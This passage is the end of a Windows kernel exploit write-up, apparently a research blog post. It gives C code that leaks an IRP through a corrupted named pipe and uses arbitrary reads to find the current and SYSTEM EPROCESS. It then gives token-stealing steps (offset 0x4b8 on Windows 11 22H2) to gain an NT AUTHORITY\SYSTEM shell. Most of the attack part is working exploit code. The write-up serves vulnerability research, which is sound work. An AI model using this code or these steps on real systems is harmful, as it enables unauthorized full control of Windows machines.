        printf("[-] failed to leak IRP from NpFr2 DQE=0x%llx\n", (ULONG64)NpFr2Entry);
        return -1;
    }

    memset(irpData, 0, sizeof(irpData));
    if (arbitrary_read(g_corruptReadPipe, irpAddress, irpData, sizeof(irpData)) != 0)
    {
        printf("[-] failed to read pending IRP contents\n");
        return -1;
    }

    memcpy(g_irpTemplate, irpData, sizeof(g_irpTemplate));
    g_hasIrpTemplate = 1;

    ethreadAddress = *(ULONG_PTR*)(irpData + IRP_TAIL_OVERLAY_THREAD_OFFSET);
    if (!IS_POOL_POINTER(ethreadAddress))
    {
        printf("[-] invalid IRP.Tail.Overlay.Thread: 0x%llx\n", (ULONG64)ethreadAddress);
        return -1;
    }

    if (arbitrary_read_qword(ethreadAddress + KTHREAD_PROCESS_OFFSET, &g_currentEprocess) != 0 ||
        !IS_POOL_POINTER(g_currentEprocess))
    {
        printf("[-] failed to read ETHREAD.Tcb.Process\n");
        return -1;
    }

    if (arbitrary_read_qword(g_currentEprocess + EPROCESS_PID_OFFSET, &currentPid) != 0 ||
        currentPid != GetCurrentProcessId())
    {
        printf("[-] current EPROCESS PID check failed: got 0x%llx expected 0x%lx\n",
            (ULONG64)currentPid, GetCurrentProcessId());
        return -1;
    }

    if (find_eprocess_by_pid(g_currentEprocess, 4, &g_systemEprocess) != 0)
    {
        printf("[-] failed to find SYSTEM EPROCESS\n");
        return -1;
    }

    printf("[+] NpFr2 DQE: 0x%llx\n", (ULONG64)NpFr2Entry);
    printf("[+] NpFr2 IRP: 0x%llx\n", (ULONG64)irpAddress);
    printf("[+] captured IRP template from NpFr2\n");
    printf("[+] IRP.Tail.Overlay.Thread: 0x%llx\n", (ULONG64)ethreadAddress);
    printf("[+] current EPROCESS: 0x%llx pid=%lu\n",
        (ULONG64)g_currentEprocess, GetCurrentProcessId());
    printf("[+] SYSTEM EPROCESS: 0x%llx\n", (ULONG64)g_systemEprocess);

    return 0;
}

Getting NT AUTHORITY\SYSTEM shell

The final step is to replace the current process token with the SYSTEM process token. At this point, we already have both _EPROCESS addresses:

current EPROCESS
SYSTEM  EPROCESS

On Windows 11 22H2, the token field is at _EPROCESS + 0x4b8.

current_token = current_EPROCESS + 0x4b8
system_token  = system_EPROCESS  + 0x4b8

Using the arbitrary write primitive, we copy the 8-byte SYSTEM token value into the current process token field:

*(current_EPROCESS + 0x4b8) = *(system_EPROCESS + 0x4b8)

After the write completes, the current process owns the SYSTEM primary token.

Acknowledgements

None of this would have come together without my mentor Dang Nguyen (@MochiNishimiya). He gave me a well-documented bug, stripped away the usual shortcuts, and trusted me to find another way. That push made all the difference.

References